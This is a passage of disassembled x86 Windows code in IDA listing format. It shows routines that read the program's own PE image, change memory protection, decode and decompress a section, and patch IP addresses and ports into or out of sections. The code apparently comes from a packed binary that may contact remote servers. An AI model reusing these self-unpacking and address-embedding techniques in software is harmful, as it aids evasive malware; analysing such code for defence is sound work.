loc_402222:				; CODE XREF: sub_4021E7+23j
					; sub_4021E7+2Aj
		pop	esi
		pop	ebx
		retn
sub_4021E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402225	proc near		; CODE XREF: sub_402382+276p
					; sub_402382+285p ...

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		movzx	edx, [ebp+arg_0]
		mov	ecx, [esi]
		push	ebx
		mov	ebx, eax
		lea	eax, [ecx+edx]
		cmp	eax, 8
		push	edi
		mov	[ebp+var_8], eax
		jle	short loc_402245
		mov	al, 8
		sub	al, cl
		jmp	short loc_402247
; ---------------------------------------------------------------------------

loc_402245:				; CODE XREF: sub_402225+18j
		mov	al, dl

loc_402247:				; CODE XREF: sub_402225+1Ej
		mov	edi, [ebx]
		mov	edx, [ebp+arg_4]
		mov	dl, [edi+edx]
		xor	ecx, ecx
		mov	cl, 8
		sub	cl, [esi]
		sub	cl, al
		shl	dl, cl
		mov	cl, 8
		sub	cl, al
		shr	dl, cl
		mov	ecx, [ebp+var_8]
		cmp	ecx, 8
		mov	[ebp+var_1], dl
		jl	short loc_402295
		lea	edx, [edi+1]
		mov	[ebx], edx
		mov	bl, [ebp+arg_0]
		sub	bl, al
		mov	eax, [ebp+arg_4]
		mov	al, [edx+eax]
		mov	dl, [ebp+var_1]
		xor	ecx, ecx
		mov	cl, 8
		sub	cl, bl
		shl	al, cl
		mov	cl, 8
		sub	cl, [ebp+arg_0]
		shr	al, cl
		or	dl, al
		movsx	eax, bl
		mov	[esi], eax
		jmp	short loc_402297
; ---------------------------------------------------------------------------

loc_402295:				; CODE XREF: sub_402225+43j
		mov	[esi], ecx

loc_402297:				; CODE XREF: sub_402225+6Ej
		pop	edi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_402225	endp


; =============== S U B	R O U T	I N E =======================================



sub_40229D	proc near		; CODE XREF: sub_4026BD+16p
		push	edi
		mov	[esi+8], edi
		call	sub_41BAB5
		push	edi
		push	0
		push	eax
		mov	[esi], eax
		call	sub_41C6D0
		add	esp, 10h
		xor	eax, eax
		mov	ecx, 100h

loc_4022BB:				; CODE XREF: sub_40229D+26j
		mov	edx, [esi]
		mov	[eax+edx], al
		inc	eax
		cmp	eax, ecx
		jb	short loc_4022BB
		mov	[esi+4], ecx
		mov	eax, esi
		retn
sub_40229D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022CB	proc near		; CODE XREF: sub_4026BD+A4p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	ecx, edi
		neg	ecx
		push	esi

loc_4022E6:				; CODE XREF: sub_4022CB+6Ej
		mov	al, [edi]
		mov	esi, [ebp+var_4]
		cmp	[edx+esi], al
		jnz	short loc_40232E
		xor	eax, eax
		inc	eax
		cmp	[ebx], eax
		mov	[ebp+var_8], eax
		mov	[ebp+arg_0], eax
		jbe	short loc_40231D
		lea	esi, [edi+1]

loc_402300:				; CODE XREF: sub_4022CB+50j
		lea	eax, [ecx+esi]
		and	eax, 7FFh
		mov	al, [eax+edx]
		cmp	al, [esi]
		jnz	short loc_40231D
		inc	[ebp+var_8]
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		inc	esi
		cmp	eax, [ebx]
		jb	short loc_402300

loc_40231D:				; CODE XREF: sub_4022CB+30j
					; sub_4022CB+42j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jbe	short loc_40232E
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax

loc_40232E:				; CODE XREF: sub_4022CB+23j
					; sub_4022CB+58j
		inc	[ebp+var_4]
		inc	ecx
		cmp	[ebp+var_4], 7F8h
		jb	short loc_4022E6
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		mov	eax, [ebp+var_10]
		pop	esi
		leave
		retn	4
sub_4022CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_402348	proc near		; CODE XREF: sub_4026BD+F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jbe	short locret_40237F
		push	ebx
		push	esi
		push	edi

loc_402353:				; CODE XREF: sub_402348+32j
		mov	edi, [esp+0Ch+arg_0]
		mov	edx, [eax+4]
		mov	bl, [ecx+edi]
		mov	esi, [eax]
		mov	[edx+esi], bl
		inc	dword ptr [eax+4]
		cmp	dword ptr [eax+4], 800h
		jb	short loc_402375
		mov	dword ptr [eax+4], 100h

loc_402375:				; CODE XREF: sub_402348+24j
		inc	ecx
		cmp	ecx, [esp+0Ch+arg_4]
		jb	short loc_402353
		pop	edi
		pop	esi
		pop	ebx

locret_40237F:				; CODE XREF: sub_402348+6j
		retn	8
sub_402348	endp


; =============== S U B	R O U T	I N E =======================================



sub_402382	proc near		; CODE XREF: sub_402AC9+23p
		mov	eax, offset loc_4279D3
		call	sub_41E550
		sub	esp, 0A84h
		push	esi
		xor	esi, esi
		cmp	[ebp+0Ch], esi
		push	edi
		jnz	short loc_402409
		push	104h
		lea	eax, [ebp-290h]
		push	eax
		push	esi
		call	ds:dword_4290B8	; GetModuleFileNameA
		or	dword ptr [ebp+0Ch], 0FFFFFFFFh
		push	80h
		push	4
		push	3
		push	80000000h
		lea	eax, [ebp-290h]
		push	eax
		lea	eax, [ebp+0Ch]
		mov	[ebp-4], esi
		call	sub_405CAD
		push	esi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_4291BC	; GetFileSize
		mov	edi, eax
		push	edi
		call	sub_41BAB5
		pop	ecx
		mov	ecx, [ebp+8]
		push	edi
		push	eax
		mov	[ecx], eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_405D1D
		lea	esi, [ebp+0Ch]
		call	sub_405CF2
		call	sub_405CF2
		mov	eax, edi
		jmp	loc_4026AF
; ---------------------------------------------------------------------------

loc_402409:				; CODE XREF: sub_402382+17j
		call	ds:dword_4290A4	; GetCurrentProcess
		push	esi
		mov	[ebp+0Ch], eax
		call	ds:dword_4290BC	; GetModuleHandleA
		mov	esi, ds:dword_4290AC
		mov	edi, eax
		lea	eax, [ebp-20h]
		push	eax
		push	40h
		lea	eax, [ebp-94h]
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		mov	[ebp-1Ch], edi
		call	esi	; ReadProcessMemory
		cmp	word ptr [ebp-94h], 5A4Dh
		jz	short loc_402449
		xor	eax, eax
		jmp	loc_4026AF
; ---------------------------------------------------------------------------

loc_402449:				; CODE XREF: sub_402382+BEj
		mov	eax, [ebp-58h]
		push	ebx
		add	edi, eax
		lea	eax, [ebp-20h]
		push	eax
		mov	ebx, 0F8h
		push	ebx
		lea	eax, [ebp-18Ch]
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	esi	; ReadProcessMemory
		cmp	dword ptr [ebp-18Ch], 4550h
		jz	short loc_402479
		xor	eax, eax
		jmp	loc_4026AE
; ---------------------------------------------------------------------------

loc_402479:				; CODE XREF: sub_402382+EEj
		movzx	eax, word ptr [ebp-186h]
		lea	eax, [eax+eax*4]
		shl	eax, 3
		add	edi, ebx
		mov	ebx, [ebp-138h]
		push	eax
		mov	[ebp-14h], ebx
		call	sub_41BAB5
		and	dword ptr [ebp-10h], 0
		cmp	word ptr [ebp-186h], 0
		pop	ecx
		mov	[ebp-38h], eax
		jbe	short loc_4024DA
		mov	[ebp-14h], eax

loc_4024AC:				; CODE XREF: sub_402382+153j
		lea	eax, [ebp-20h]
		push	eax
		push	28h
		push	dword ptr [ebp-14h]
		push	edi
		push	dword ptr [ebp+0Ch]
		call	esi	; ReadProcessMemory
		mov	eax, [ebp-14h]
		add	ebx, [eax+10h]
		movzx	eax, word ptr [ebp-186h]
		add	dword ptr [ebp-14h], 28h
		add	edi, 28h
		inc	dword ptr [ebp-10h]
		cmp	[ebp-10h], eax
		jb	short loc_4024AC
		mov	[ebp-14h], ebx

loc_4024DA:				; CODE XREF: sub_402382+125j
		mov	ebx, [edi]
		mov	edi, [edi+4]
		add	ebx, [ebp-1Ch]
		push	edi
		mov	[ebp-48h], edi
		call	sub_41BAB5
		mov	[ebp-28h], eax
		mov	eax, [ebp-14h]
		add	eax, 64h
		push	eax
		call	sub_41BAB5
		push	dword ptr [ebp-14h]
		mov	edi, eax
		push	0
		push	edi
		mov	[ebp-24h], edi
		call	sub_41C6D0
		mov	eax, [ebp+8]
		add	esp, 14h
		mov	[eax], edi
		mov	edi, ds:dword_4290C0
		lea	eax, [ebp-30h]
		push	eax
		push	4
		push	dword ptr [ebp-138h]
		push	dword ptr [ebp-1Ch]
		call	edi	; VirtualProtect
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp-138h]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		call	esi	; ReadProcessMemory
		lea	eax, [ebp-30h]
		push	eax
		push	4
		push	dword ptr [ebp-48h]
		push	ebx
		call	edi	; VirtualProtect
		mov	edi, [ebp-48h]
		lea	eax, [ebp-20h]
		push	eax
		push	edi
		push	dword ptr [ebp-28h]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	esi	; ReadProcessMemory
		mov	ax, [ebp-146h]
		xor	esi, esi
		cmp	edi, esi
		mov	[ebp-15h], ah
		mov	[ebp+0Fh], al
		mov	[ebp-10h], esi
		jbe	short loc_40258F

loc_402571:				; CODE XREF: sub_402382+209j
		mov	eax, [ebp-28h]
		mov	ebx, [ebp-10h]
		add	ebx, eax
		mov	al, [ebx]
		mov	cl, [ebp-15h]
		ror	al, cl
		xor	al, [ebp+0Fh]
		mov	[ebx], al
		inc	dword ptr [ebp-10h]
		cmp	[ebp-10h], edi
		jb	short loc_402571
		xor	esi, esi

loc_40258F:				; CODE XREF: sub_402382+1EDj
		push	800h
		lea	eax, [ebp-0A90h]
		push	esi
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		xor	eax, eax
		mov	ecx, 100h

loc_4025AB:				; CODE XREF: sub_402382+233j
		mov	[ebp+eax-0A90h], al
		inc	eax
		cmp	eax, ecx
		jb	short loc_4025AB
		mov	eax, [ebp-138h]
		push	edi
		mov	edi, [ebp-24h]
		add	eax, edi
		push	esi
		push	eax
		mov	[ebp+0Ch], ecx
		call	sub_41C6D0
		mov	eax, [ebp-138h]
		mov	ecx, [ebp-14h]
		add	esp, 0Ch
		sub	ecx, eax
		mov	[ebp-10h], eax
		mov	[ebp-2Ch], esi
		mov	[ebp-1Ch], esi
		mov	[ebp-24h], esi
		jz	loc_402699

loc_4025ED:				; CODE XREF: sub_402382+311j
		push	dword ptr [ebp-28h]
		lea	esi, [ebp-1Ch]
		push	8
		lea	eax, [ebp-2Ch]
		call	sub_402225
		push	dword ptr [ebp-28h]
		mov	bl, al
		push	3
		lea	eax, [ebp-2Ch]
		call	sub_402225
		push	dword ptr [ebp-28h]
		xor	ecx, ecx
		mov	ch, al
		push	3
		lea	eax, [ebp-2Ch]
		mov	cl, bl
		mov	ebx, ecx
		call	sub_402225
		add	esp, 18h
		test	al, al
		jnz	short loc_40262A
		add	al, 8

loc_40262A:				; CODE XREF: sub_402382+2A4j
		mov	ecx, [ebp-10h]
		movzx	eax, al
		mov	[ebp-34h], ecx
		xor	ecx, ecx
		test	eax, eax
		jbe	short loc_402654
		movzx	esi, bx
		lea	esi, [ebp+esi-0A90h]

loc_402643:				; CODE XREF: sub_402382+2D0j
		mov	ebx, [ebp-10h]
		mov	dl, [esi+ecx]
		inc	dword ptr [ebp-10h]
		inc	ecx
		cmp	ecx, eax
		mov	[ebx+edi], dl
		jb	short loc_402643

loc_402654:				; CODE XREF: sub_402382+2B5j
		xor	esi, esi
		test	eax, eax
		jbe	short loc_402684
		mov	ecx, [ebp-34h]
		add	ecx, edi

loc_40265F:				; CODE XREF: sub_402382+300j
		mov	ebx, [ebp+0Ch]
		mov	dl, [ecx+esi]
		inc	dword ptr [ebp+0Ch]
		cmp	dword ptr [ebp+0Ch], 800h
		mov	[ebp+ebx-0A90h], dl
		jnz	short loc_40267F
		mov	dword ptr [ebp+0Ch], 100h

loc_40267F:				; CODE XREF: sub_402382+2F4j
		inc	esi
		cmp	esi, eax
		jb	short loc_40265F

loc_402684:				; CODE XREF: sub_402382+2D6j
		add	[ebp-24h], eax
		mov	eax, [ebp-14h]
		sub	eax, [ebp-138h]
		cmp	[ebp-24h], eax
		jb	loc_4025ED

loc_402699:				; CODE XREF: sub_402382+265j
		push	dword ptr [ebp-28h]
		call	sub_41CA28
		push	dword ptr [ebp-38h]
		call	sub_41CA28
		mov	eax, [ebp-14h]
		pop	ecx
		pop	ecx

loc_4026AE:				; CODE XREF: sub_402382+F2j
		pop	ebx

loc_4026AF:				; CODE XREF: sub_402382+82j
					; sub_402382+C2j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_402382	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026BD	proc near		; CODE XREF: sub_402AC9+48p

var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, 800h
		lea	esi, [ebp+var_24]
		mov	[ebp+var_C], ebx
		call	sub_40229D
		mov	esi, [ebp+arg_8]
		push	ebx
		add	esi, 186A0h
		push	esi
		push	ebx
		mov	[ebp+var_10], ebx
		call	ds:dword_4290B4	; HeapCreate
		mov	ecx, [ebp+arg_C]
		push	esi
		push	8
		pop	edi
		push	edi
		push	eax
		mov	[ecx], eax
		call	ds:dword_4290A0	; RtlAllocateHeap
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		mov	eax, [eax+54h]
		sub	[ebp+arg_8], eax
		mov	[ebp+arg_0], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+arg_C], eax
		jz	loc_4027D4
		jmp	short loc_40272A
; ---------------------------------------------------------------------------

loc_402725:				; CODE XREF: sub_4026BD+111j
		push	8
		pop	edi
		xor	ebx, ebx

loc_40272A:				; CODE XREF: sub_4026BD+66j
					; sub_4026BD+85j
		push	[ebp+arg_4]
		lea	esi, [ebp+var_C]
		push	edi
		lea	eax, [ebp+arg_C]
		call	sub_402225
		mov	[ebp+ebx+var_18], al
		inc	ebx
		cmp	ebx, edi
		pop	ecx
		pop	ecx
		jb	short loc_40272A
		mov	eax, [ebp+var_C]
		sub	eax, 40h
		cdq
		mov	ecx, edi
		idiv	ecx
		mov	[ebp+var_C], edi
		lea	ebx, [ebp+var_C]
		lea	edi, [ebp+var_18]
		add	[ebp+arg_C], eax
		lea	eax, [ebp+var_24]
		push	eax
		mov	esi, edx
		call	sub_4022CB
		push	[ebp+var_4]
		mov	ebx, eax
		push	8
		lea	eax, [ebp+var_8]
		lea	edi, [ebp+arg_0]
		mov	cl, bl
		call	sub_4021E7
		push	[ebp+var_4]
		mov	ecx, ebx
		shr	ecx, 8
		push	3
		lea	eax, [ebp+var_8]
		call	sub_4021E7
		mov	ebx, [ebp+var_C]
		push	[ebp+var_4]
		cmp	ebx, 8
		setz	cl
		dec	cl
		push	3
		lea	eax, [ebp+var_8]
		and	ecx, ebx
		call	sub_4021E7
		add	esp, 18h
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_24]
		call	sub_402348
		lea	eax, [esi+ebx*8]
		cdq
		push	8
		pop	ecx
		idiv	ecx
		add	[ebp+var_10], ebx
		add	[ebp+arg_C], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+arg_8]
		mov	[ebp+var_C], edx
		jb	loc_402725

loc_4027D4:				; CODE XREF: sub_4026BD+60j
		push	[ebp+var_24]
		call	sub_41CA28
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4026BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4027E5	proc near		; CODE XREF: sub_402AC9+31p

var_254		= byte ptr -254h
var_134		= byte ptr -134h
var_34		= dword	ptr -34h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 254h
		push	ebx
		xor	ebx, ebx
		mov	[ebp+74h+var_4], ebx
		mov	[ebp+74h+var_8], ebx
		call	sub_409351
		test	eax, eax
		jbe	loc_40291A
		push	esi
		push	edi

loc_402808:				; CODE XREF: sub_4027E5+58j
		lea	eax, [ebp+74h+var_254]
		push	eax
		lea	eax, [ebp+74h+var_4]
		call	sub_408E9D
		pop	ecx
		push	48h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_134]
		rep movsd
		cmp	[ebp+74h+var_1C], 0
		jnz	short loc_402832
		mov	[ebp+74h+var_8], 1

loc_402832:				; CODE XREF: sub_4027E5+44j
		inc	[ebp+74h+var_4]
		inc	ebx
		call	sub_409351
		cmp	ebx, eax
		jb	short loc_402808
		xor	edx, edx
		cmp	[ebp+74h+var_8], edx
		jz	loc_402918
		mov	eax, [ebp+74h+arg_0]
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		cmp	dword ptr [ecx], 4550h
		mov	[ebp+74h+var_10], ecx
		jnz	loc_402918
		cmp	[ecx+6], dx
		mov	[ebp+74h+var_4], edx
		jbe	loc_402918
		lea	ebx, [ecx+10Ch]

loc_402874:				; CODE XREF: sub_4027E5+12Dj
		mov	edx, [ebx-4]
		mov	esi, [ebx-0Ch]
		cmp	edx, esi
		jbe	loc_402905
		mov	eax, [ebx]
		add	esi, eax
		lea	eax, [edx+eax-6]
		cmp	esi, eax
		mov	[ebp+74h+var_8], esi
		jnb	short loc_402905

loc_402891:				; CODE XREF: sub_4027E5+CAj
					; sub_4027E5+11Bj
		lea	eax, [ebp+74h+var_254]
		push	eax
		call	sub_408F53
		pop	ecx
		push	48h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_134]
		rep movsd
		cmp	[ebp+74h+var_1C], 0
		jnz	short loc_402891
		lea	eax, [ebp+74h+var_134]
		push	eax
		call	ds:dword_429270	; inet_addr
		mov	esi, [ebp+74h+var_8]
		mov	edi, [ebp+74h+arg_0]
		mov	[ebp+74h+var_14], eax
		mov	eax, [ebp+74h+var_34]
		mov	[ebp+74h+var_C], eax
		push	4
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [esi+edi]
		push	eax
		call	sub_41BC60
		push	2
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [esi+edi+4]
		push	eax
		call	sub_41BC60
		mov	eax, [ebx]
		mov	ecx, [ebx-4]
		add	esi, 6
		lea	eax, [eax+ecx-6]
		add	esp, 18h
		cmp	esi, eax
		mov	[ebp+74h+var_8], esi
		jb	short loc_402891
		mov	ecx, [ebp+74h+var_10]

loc_402905:				; CODE XREF: sub_4027E5+97j
					; sub_4027E5+AAj
		movzx	eax, word ptr [ecx+6]
		add	ebx, 28h
		inc	[ebp+74h+var_4]
		cmp	[ebp+74h+var_4], eax
		jb	loc_402874

loc_402918:				; CODE XREF: sub_4027E5+5Fj
					; sub_4027E5+76j ...
		pop	edi
		pop	esi

loc_40291A:				; CODE XREF: sub_4027E5+1Bj
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_4027E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_402920	proc near		; CODE XREF: sub_4142D6+3D7p

var_25C		= byte ptr -25Ch
var_15C		= dword	ptr -15Ch
var_156		= word ptr -156h
var_120		= dword	ptr -120h
var_64		= word ptr -64h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 25Ch
		push	esi
		push	edi
		call	ds:dword_4290A4	; GetCurrentProcess
		push	0
		mov	[ebp+78h+var_4], eax
		call	ds:dword_4290BC	; GetModuleHandleA
		mov	edi, ds:dword_4290AC
		mov	esi, eax
		lea	eax, [ebp+78h+var_C]
		push	eax
		push	40h
		lea	eax, [ebp+78h+var_64]
		push	eax
		push	esi
		push	[ebp+78h+var_4]
		mov	[ebp+78h+var_24], esi
		call	edi	; ReadProcessMemory
		cmp	[ebp+78h+var_64], 5A4Dh
		jnz	loc_402AC2
		mov	eax, [ebp+78h+var_28]
		push	ebx
		lea	ebx, [eax+esi]
		lea	eax, [ebp+78h+var_C]
		push	eax
		mov	esi, 0F8h
		push	esi
		lea	eax, [ebp+78h+var_15C]
		push	eax
		push	ebx
		push	[ebp+78h+var_4]
		call	edi	; ReadProcessMemory
		cmp	[ebp+78h+var_15C], 4550h
		jnz	loc_402AC1
		movzx	eax, [ebp+78h+var_156]
		lea	eax, [eax+eax*4]
		shl	eax, 3
		add	ebx, esi
		push	eax
		mov	[ebp+78h+var_10], ebx
		call	sub_41BAB5
		push	[ebp+78h+var_120]
		mov	esi, eax
		mov	[ebp+78h+var_20], esi
		call	sub_41BAB5
		and	[ebp+78h+var_14], 0
		cmp	[ebp+78h+var_156], 0
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jbe	loc_402AB1
		add	esi, 8
		jmp	short loc_4029DC
; ---------------------------------------------------------------------------

loc_4029D6:				; CODE XREF: sub_402920+18Bj
		mov	edi, ds:dword_4290AC

loc_4029DC:				; CODE XREF: sub_402920+B4j
		lea	eax, [ebp+78h+var_C]
		push	eax
		push	28h
		lea	eax, [esi-8]
		push	eax
		push	[ebp+78h+var_10]
		push	[ebp+78h+var_4]
		call	edi	; ReadProcessMemory
		mov	eax, [esi+8]
		cmp	eax, [esi]
		jbe	loc_402A97
		push	4
		push	0
		push	ebx
		call	sub_41C6D0
		mov	eax, [esi]
		add	esp, 0Ch
		lea	ecx, [ebp+78h+var_C]
		push	ecx
		mov	ecx, [esi+8]
		sub	ecx, eax
		push	ecx
		mov	ecx, [esi+4]
		add	ecx, eax
		add	ecx, [ebp+78h+var_24]
		push	ebx
		push	ecx
		push	[ebp+78h+var_4]
		call	edi	; ReadProcessMemory
		xor	edi, edi
		cmp	byte ptr [ebx],	0
		mov	[ebp+78h+var_8], edi
		jz	short loc_402A97
		jmp	short loc_402A30
; ---------------------------------------------------------------------------

loc_402A2D:				; CODE XREF: sub_402920+175j
		mov	edi, [ebp+78h+var_8]

loc_402A30:				; CODE XREF: sub_402920+10Bj
		cmp	edi, [ebp+78h+var_120]
		jnb	short loc_402A97
		and	[ebp+78h+var_1C], 0
		and	[ebp+78h+var_18], 0
		push	4
		lea	eax, [edi+ebx]
		push	eax
		lea	eax, [ebp+78h+var_1C]
		push	eax
		call	sub_41BC60
		push	2
		lea	eax, [edi+ebx+4]
		push	eax
		lea	eax, [ebp+78h+var_18]
		push	eax
		call	sub_41BC60
		add	esp, 18h
		push	[ebp+78h+var_18]
		push	[ebp+78h+var_1C]
		call	ds:dword_429274	; inet_ntoa
		push	eax
		mov	eax, 100h
		lea	edi, [ebp+78h+var_25C]
		call	sub_4094D4
		mov	eax, edi
		push	eax
		call	sub_408F96
		add	[ebp+78h+var_8], 6
		mov	eax, [ebp+78h+var_8]
		add	esp, 0Ch
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_402A2D

loc_402A97:				; CODE XREF: sub_402920+D3j
					; sub_402920+109j ...
		add	[ebp+78h+var_10], 28h
		movzx	eax, [ebp+78h+var_156]
		inc	[ebp+78h+var_14]
		add	esi, 28h
		cmp	[ebp+78h+var_14], eax
		jb	loc_4029D6

loc_402AB1:				; CODE XREF: sub_402920+ABj
		push	ebx
		call	sub_41CA28
		push	[ebp+78h+var_20]
		call	sub_41CA28
		pop	ecx
		pop	ecx

loc_402AC1:				; CODE XREF: sub_402920+6Dj
		pop	ebx

loc_402AC2:				; CODE XREF: sub_402920+3Fj
		pop	edi
		pop	esi
		add	ebp, 78h
		leave
		retn
sub_402920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_402AC9	proc near		; CODE XREF: sub_404694+20p

var_3C0		= byte ptr -3C0h
var_3B8		= byte ptr -3B8h
var_3B4		= byte ptr -3B4h
var_3B0		= byte ptr -3B0h
var_3AC		= byte ptr -3ACh
var_39C		= byte ptr -39Ch
var_280		= byte ptr -280h
var_27A		= word ptr -27Ah
var_258		= dword	ptr -258h
var_24C		= dword	ptr -24Ch
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_188		= byte ptr -188h
var_182		= word ptr -182h
var_178		= dword	ptr -178h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
var_16C		= byte ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_12A		= byte ptr -12Ah
var_128		= byte ptr -128h
var_127		= byte ptr -127h
var_126		= byte ptr -126h
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_120		= byte ptr -120h
var_11F		= byte ptr -11Fh
var_11C		= byte ptr -11Ch
var_11B		= byte ptr -11Bh
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_FC		= byte ptr -0FCh
var_FB		= byte ptr -0FBh
var_F8		= byte ptr -0F8h
var_F7		= byte ptr -0F7h
var_F4		= byte ptr -0F4h
var_F3		= byte ptr -0F3h
var_F0		= byte ptr -0F0h
var_EF		= byte ptr -0EFh
var_EC		= byte ptr -0ECh
var_EB		= byte ptr -0EBh
var_E8		= byte ptr -0E8h
var_E7		= byte ptr -0E7h
var_E4		= byte ptr -0E4h
var_E3		= byte ptr -0E3h
var_E0		= byte ptr -0E0h
var_DF		= byte ptr -0DFh
var_DC		= byte ptr -0DCh
var_DB		= byte ptr -0DBh
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D4		= byte ptr -0D4h
var_D3		= byte ptr -0D3h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CC		= byte ptr -0CCh
var_CB		= byte ptr -0CBh
var_C8		= byte ptr -0C8h
var_C7		= byte ptr -0C7h
var_C4		= byte ptr -0C4h
var_C3		= byte ptr -0C3h
var_C0		= byte ptr -0C0h
var_BF		= byte ptr -0BFh
var_BC		= byte ptr -0BCh
var_BB		= byte ptr -0BBh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_B0		= byte ptr -0B0h
var_AF		= byte ptr -0AFh
var_AC		= byte ptr -0ACh
var_AB		= byte ptr -0ABh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_97		= byte ptr -97h
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_8F		= byte ptr -8Fh
var_8C		= byte ptr -8Ch
var_8B		= byte ptr -8Bh
var_88		= byte ptr -88h
var_87		= byte ptr -87h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= byte ptr -74h
var_73		= byte ptr -73h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_6B		= byte ptr -6Bh
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= byte ptr -66h
var_62		= byte ptr -62h
var_61		= byte ptr -61h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_44		= dword	ptr -44h
